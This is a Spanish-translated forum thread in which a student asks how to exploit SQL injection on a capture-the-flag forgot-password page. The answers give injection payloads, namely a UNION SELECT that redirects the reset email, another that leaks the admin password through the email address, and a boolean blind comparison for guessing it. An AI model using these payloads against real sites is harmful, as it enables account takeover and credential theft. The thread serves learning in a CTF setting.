inyección de SQL a través de la declaración de actualización

0

Estoy trabajando en una capturar la asignación de bandera . Nos dijeron que había un indicador si puede iniciar sesión con las credenciales admin . La página principal no parece ser vulnerable a la inyección de SQL, pero la página de contraseña olvidada es.

Aquí está el problema, la página para olvidar la contraseña solo requiere username , y afirma que envía un enlace para restablecer la contraseña al correo electrónico dado. Pensé que debíamos agrupar en una consulta UPDATE para modificar la contraseña de la cuenta admin para que podamos iniciar sesión, pero hasta ahora, todos los intentos que he intentado han fracasado.

Luego leí que los servidores PHP no pueden agrupar declaraciones, por lo que ahora estoy dudando de mi enfoque general. ¿Podría alguien explicarme cómo debo hacer esto?

La sugerencia proporcionada es "la tabla contiene dos columnas, nombre de usuario y contraseña". ¿Pero esto no está ayudando realmente ...?

    
pregunta Wboy 13.04.2018 - 07:55
fuente

2 respuestas

3

Para enviar ese correo electrónico, el servidor debe obtener la dirección de correo electrónico de la base de datos. Probablemente haga algo como esto:

$sql = "SELECT email FROM users WHERE username = '$username'";

Puede intentar enviarlo por correo electrónico a usted mismo en lugar de inyectar algo de SQL en $username :

do_not_exist' UNION SELECT '[email protected]' FROM dual --

Pero si tienes un enlace para restablecer la contraseña, probablemente no sea para el usuario administrador. Hmm ¿Tal vez podría usar la dirección de correo electrónico para filtrar algunos datos?

do_not_exist' UNION SELECT password + '@example.com' FROM users WHERE username = 'admin' --

Ahora solo tiene que esperar y ver qué dirección de correo electrónico recibe un correo electrónico. El riesgo aquí es que la secuencia de comandos también intenta insertar una fila con el nombre de usuario y el token de restablecimiento de contraseña en alguna tabla. Si esto se hace antes de que se envíe el correo electrónico y la consulta también es vulnerable, esto podría bloquear el script. Pero vale la pena intentarlo.

    
respondido por el Anders 13.04.2018 - 10:39
fuente
0

Aceptó el nombre de usuario admin' and password < '9999 para un recordatorio de contraseña. Bud no aceptó admin' and password < '0000

  

tiempo para un juego de adivinar el número :)

    
respondido por el Jasen 14.04.2018 - 10:08
fuente

Lea otras preguntas en las etiquetas